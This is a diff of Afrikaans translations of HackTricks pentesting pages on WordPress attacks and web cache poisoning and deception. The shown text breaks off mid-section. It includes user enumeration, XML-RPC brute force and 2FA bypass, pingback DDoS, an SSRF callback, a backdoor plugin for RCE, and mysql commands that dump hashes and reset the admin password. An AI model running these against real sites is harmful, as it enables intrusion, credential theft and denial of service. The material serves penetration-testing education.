\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Basiese Inligting -**Geüploade** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ -**Temalêers kan gevind word in /wp-content/themes/,** so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die **tema twentytwelve** te gebruik, kan jy die **404.php**-lêer in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ +**Opgelaaide** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ +**Temalêers kan gevind word in /wp-content/themes/,** so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die **twintigtwintig-tema** te gebruik, kan jy die **404.php**-lêer **toegang** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **'n Ander nuttige URL kan wees:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) In **wp-config.php** kan jy die hoofwagwoord van die databasis vind. @@ -42,20 +42,20 @@ Verkieslike aanmeldingspaaie om te kontroleer: _**/wp-login.php, /wp-login/, /wp * `/wp-admin/wp-login.php` * `/login.php` * `/wp-login.php` -* `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om met HTTP as die vervoermeganisme en XML as die enkoderingsmeganisme oorgedra te word. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +* `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om oorgedra te word met HTTP wat as die vervoermeganisme optree en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference). * Die `wp-content`-map is die hoofgids waar plugins en temas gestoor word. -* `wp-content/uploads/` Is die gids waar enige lêers wat na die platform geüploa word, gestoor word. +* `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai is, gestoor word. * `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets. -* `wp-sitemap.xml` In Wordpress-weergawes 5.5 en hoër, genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare plasings tipes en taksonomieë. +* `wp-sitemap.xml` In Wordpress-weergawes 5.5 en hoër, genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare plasingstipes en taksonomieë. **Na-uitbuiting** -* Die `wp-config.php`-lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasis tabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing. +* Die `wp-config.php`-lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasistabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing. -### Gebruikers Toestemmings +### Gebruikersregte * **Administrateur** -* **Redakteur**: Publiseer en bestuur sy en ander se plasings +* **Redakteur**: Publiseer en bestuur sy eie en ander se plasings * **Outeur**: Publiseer en bestuur sy eie plasings * **Bydraer**: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie * **Intekenaar**: Blaai deur plasings en wysig hul profiel @@ -97,8 +97,6 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Haal weergawes in die algemeen uit - -{% endcode %} ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -108,22 +106,22 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
\ -Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Aktiewe opname -### Inproppe en Temas +### Invoegtoepassings en Temas -Jy sal waarskynlik nie in staat wees om al die Inproppe en Temas te vind nie. Om almal te ontdek, sal jy nodig wees om **aktief 'n lys van Inproppe en Temas te Brute Force** (hopelik vir ons is daar geoutomatiseerde gereedskap wat hierdie lyste bevat). +Jy sal waarskynlik nie in staat wees om al die Invoegtoepassings en Temas te vind nie. Om almal te ontdek, sal jy nodig hê om **aktief 'n lys van Invoegtoepassings en Temas te Brute Force** (hopelik vir ons is daar outomatiese gereedskap wat hierdie lyste bevat). ### Gebruikers **ID Brute** -Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force: +Jy kan geldige gebruikers van 'n WordPress-webwerf kry deur gebruikers-ID's te Brute Force: ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -135,17 +133,17 @@ Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen: ``` curl http://blog.example.com/wp-json/wp/v2/users ``` -'n Ander `/wp-json/` eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is: +'n Ander `/wp-json/` eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:' ``` curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**. +Merk op dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**. -Let ook daarop dat **/wp-json/wp/v2/pages** IP-adresse kan laat uitlek. +Merk ook op dat **/wp-json/wp/v2/pages** IP-adresse kan laat uitlek. #### Login gebruikersnaam enumerasie -Wanneer jy inlog by **`/wp-login.php`** is die **boodskap anders** as die aangeduide **gebruikersnaam bestaan of nie**. +Wanneer jy inlog by **`/wp-login.php`** is die **boodskap** **verskillend** as die aangeduide **gebruikersnaam bestaan of nie**. ### XML-RPC @@ -176,7 +174,11 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ ``` Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode respons behoort te verskyn as die geloofsbriewe nie geldig is nie. -![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) +![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) + +![](<../../.gitbook/assets/image (721).png>) + +Met die regte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```markup @@ -206,18 +208,18 @@ Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode respons ``` -Ook is daar 'n **vinniger manier** om geloofsbriewe met geweld te ontsluit deur **`system.multicall`** te gebruik aangesien jy verskeie geloofsbriewe op dieselfde versoek kan probeer: +Ook is daar 'n **vinniger manier** om wagwoordkredensiale met behulp van **`system.multicall`** te kragtig, aangesien jy verskeie kredensiale op dieselfde versoek kan probeer:
**Bypass 2FA** -Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige geloofsbriewe het maar die hoofingang word beskerm deur 2FA, **mag jy dalk xmlrpc.php misbruik om in te teken met daardie geloofsbriewe deur 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds by RCE uitkom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) +Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige kredensiale het maar die hoofingang deur 2FA beskerm word, **kan jy dalk xmlrpc.php misbruik om met daardie kredensiale in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds tot RCE kom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) -**DDoS of poort skandering** +**DDoS of poort aftasting** -As jy die metode _**pingback.ping**_ binne die lys kan vind, kan jy die Wordpress laat 'n willekeurige versoek na enige gas/hefpoort stuur.\ -Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om na 'n **lokasie** te **toegang** (sodat 'n **DDoS** in daardie lokasie veroorsaak word) of jy kan dit gebruik om **Wordpress** te laat **skandering** van 'n interne **netwerk** (jy kan enige poort aandui). +As jy die metode _**pingback.ping**_ binne die lys kan vind, kan jy die Wordpress 'n willekeurige versoek stuur na enige gas/hefboom.\ +Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** (sodat 'n **DDoS** in daardie plek veroorsaak word) of jy kan dit gebruik om **Wordpress** te laat **aftas** van 'n interne **netwerk** (jy kan enige poort aandui). ```markup pingback.ping @@ -229,7 +231,7 @@ Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om na 'n **lo ``` ![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Indien jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit dat die poort oop is. +As jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit dat die poort oop is. Neem 'n kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om 'n DDoS te veroorsaak. @@ -249,13 +251,13 @@ Neem 'n kyk na die gebruik van **`system.multicall`** in die vorige afdeling om Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\ Wanneer hierdie lêer **toegang** kry, word 'n "**swaar**" MySQL **navraag** uitgevoer, wat deur **aanvallers** gebruik kan word om 'n **DoS** te **veroor**.\ -Daarbenewens word die `wp-cron.php` standaard opgeroep met elke bladsy wat gelaai word (telkens wanneer 'n klient enige Wordpress-bladsy aanvra), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). +Ook, standaard, word die `wp-cron.php` elke keer geroep wanneer 'n kliënt enige Wordpress-bladsy aanvra, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak). ### /wp-json/oembed/1.0/proxy - SSRF -Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te benader en die Wordpress-webwerf kan 'n versoek aan jou rig. +Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te benader en die Worpress-webwerf kan 'n versoek aan jou rig. Dit is die reaksie wanneer dit nie werk nie: @@ -276,14 +278,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
\ -Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Kry toegang deur 'n bietjie te oorskryf -Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omkeer om die NIET (`!`) operasie te NOP. +Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omkeer om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -306,14 +308,12 @@ Jy kan gebruik: ``` use exploit/unix/webapp/wp_admin_shell_upload ``` -### Om 'n sessie te kry. - ## Inprop RCE ### PHP inprop Dit mag moontlik wees om .php lêers as 'n inprop te laai.\ -Skep jou php agterdeur deur byvoorbeeld: +Skep jou php agterdeur deur byvoorbeeld te gebruik: ![](<../../.gitbook/assets/image (183).png>) @@ -348,7 +348,7 @@ Hierdie metode behels die installasie van 'n skadelike inprop wat bekend is as k 3. **Inprop Aktivering**: Sodra die inprop suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word. 4. **Uitbuiting**: * Met die inprop "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar. -* Die Metasploit-raamwerk bied 'n uitbuiting vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen. +* Die Metasploit-raamwerk bied 'n uitbuit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen. * Dit word opgemerk dat hierdie net een van die baie metodes is om 'n WordPress-webwerf uit te buit. Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die inprop. Dit is egter belangrik om daarop te let dat dit onwettig en oneties is om kwesbaarhede op hierdie manier uit te buit sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos deurdringende toetsing met uitdruklike toestemming. @@ -361,7 +361,7 @@ Haal gebruikersname en wagwoorde uit: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -Verander admin wagwoord: +Verander administrateur wagwoord: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` @@ -387,17 +387,17 @@ Ook, **installeer slegs vertroude WordPress-inproppe en -temas**. * Verwyder verstek **admin** gebruiker * Gebruik **sterk wagwoorde** en **2FA** -* Ondersoek gebruikers se **regte** periodiek +* Deurlopend **hersien** gebruikers **regte** * **Beperk aanmeldingspogings** om Brute Force aanvalle te voorkom * Hernoem **`wp-admin.php`** lêer en staan slegs toegang intern of vanaf sekere IP-adresse toe.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome outomaties** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
@@ -405,7 +405,7 @@ Kry Vandag Toegang: Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/pentesting-web/cache-deception/README.md b/pentesting-web/cache-deception/README.md index 84d0e1073..a9bf938dc 100644 --- a/pentesting-web/cache-deception/README.md +++ b/pentesting-web/cache-deception/README.md @@ -4,11 +4,11 @@ Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! -Andere maniere om HackTricks te ondersteun: +Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -17,27 +17,27 @@ Andere maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} -## Die Verskil +## Die verskil -> **Wat is die verskil tussen web-kasvergiftiging en web-kasbedrog?** +> **Wat is die verskil tussen web-kasvergiftiging en web-kas-misleiding?** > > * In **web-kasvergiftiging**, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die kas stoor, en hierdie inhoud word van die kas na ander aansoekgebruikers bedien. -> * In **web-kasbedrog**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas. +> * In **web-kas-misleiding**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas. ## Kas Vergiftiging -Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy tydens die tydperk van kasbesoedeling besoek. +Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy besoek tydens die tydperk van kasbesoedeling. Die uitvoering van 'n kasvergiftigingsaanval behels verskeie stappe: 1. **Identifikasie van Ongekenmerkte Insette**: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die kas gestoor te word nie, die reaksie wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die kas te manipuleer. 2. **Uitbuiting van die Ongekenmerkte Insette**: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se reaksie op 'n manier te verander wat die aanvaller bevoordeel. -3. **Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy toegang terwyl die kas vergiftig is, die besoedelde reaksie ontvang. +3. **Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy besoek terwyl die kas vergiftig is, die besoedelde reaksie ontvang. ### Ontdekking: Kontroleer HTTP-koppe @@ -45,7 +45,7 @@ Gewoonlik, wanneer 'n reaksie in die kas **gestoor is**, sal daar 'n **kop aandu ### Ontdekking: Kasfoutkodes -As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die **reaksie 'n statuskode 400** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer). +As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord behoort te word. Probeer dan om die versoek normaalweg te benader en as die **reaksie 'n 400-statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer). Jy kan meer opsies vind in: @@ -53,34 +53,34 @@ Jy kan meer opsies vind in: [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -Let egter daarop dat **soms hierdie soorte statuskodes nie in die kas gestoor word** nie, sodat hierdie toets nie betroubaar kan wees nie. +Let egter daarop dat **soms hierdie soorte statuskodes nie in die kas gestoor word** nie, dus kan hierdie toets onbetroubaar wees. ### Ontdekking: Identifiseer en evalueer ongekenmerkte insette -Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute force** wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrips van daar te laai: +Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute force** wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om aan te dui dat die kliënt die skrips van daar moet laai: ```markup ``` ### Lokaliseer 'n skadelike reaksie van die agterste bediener -Met die geïdentifiseerde parameter/kop, ondersoek hoe dit **gesaniteer** word en **waar** dit **weerspieël** word of die reaksie van die kop affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? Voer 'n DoS uit?...) +Met die geïdentifiseerde parameter/header, ondersoek hoe dit **gesaniteer** word en **waar** dit **weerspieël** word of die reaksie van die header affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...) -### Kry die gereageerde gekaheer +### Kry die reaksie gekas -Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekaheer kry. Afhangende van die bron wat jy in die kache wil kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\ -Die kop **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekaheer was nie en die waarde **`hit`** wanneer dit gekaheer is.\ -Die kop **`Cache-Control`** is ook interessant om te weet of 'n bron gekaheer word en wanneer die volgende keer sal die bron weer gekaheer word: `Cache-Control: public, max-age=1800`\ -'n Ander interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as deel van die kache sleutel hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kache vergiftig vir die gebruikers wat daardie spesifieke `User-Agent` gebruik.\ -'n Ander kop wat verband hou met die kache is **`Age`**. Dit definieer die tyd in sekondes wat die voorwerp in die proksi-kache was. +Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekas kry. Afhangende van die bron wat jy in die kas probeer kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\ +Die header **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekas is nie en die waarde **`hit`** wanneer dit gekas is.\ +Die header **`Cache-Control`** is ook interessant om te weet of 'n bron gekas word en wanneer die volgende keer sal die bron weer gekas word: `Cache-Control: public, max-age=1800`\ +'n Ander interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **addisionele koppe** aan te dui wat as **deel van die kas sleutel** hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke `User-Agent` gebruik.\ +'n Ander header wat verband hou met die kas is **`Age`**. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was. -Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kacheer, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kache Vergiftiging met **verskillende webblaaier** om te sien of dit werk. +Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kashou, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die **slagoffer sal daardie selfde kop** moet gebruik. Toets altyd 'n Kaskasvergiftiging met **verskillende webblaaier** om te sien of dit werk. -## Uitbuitingsvoorbeelde +## Uitbuiting Voorbeelde ### Maklikste voorbeeld -'n Kop soos `X-Forwarded-For` word ongesaniteer in die reaksie weerspieël.\ -Jy kan 'n basiese XSS-lading stuur en 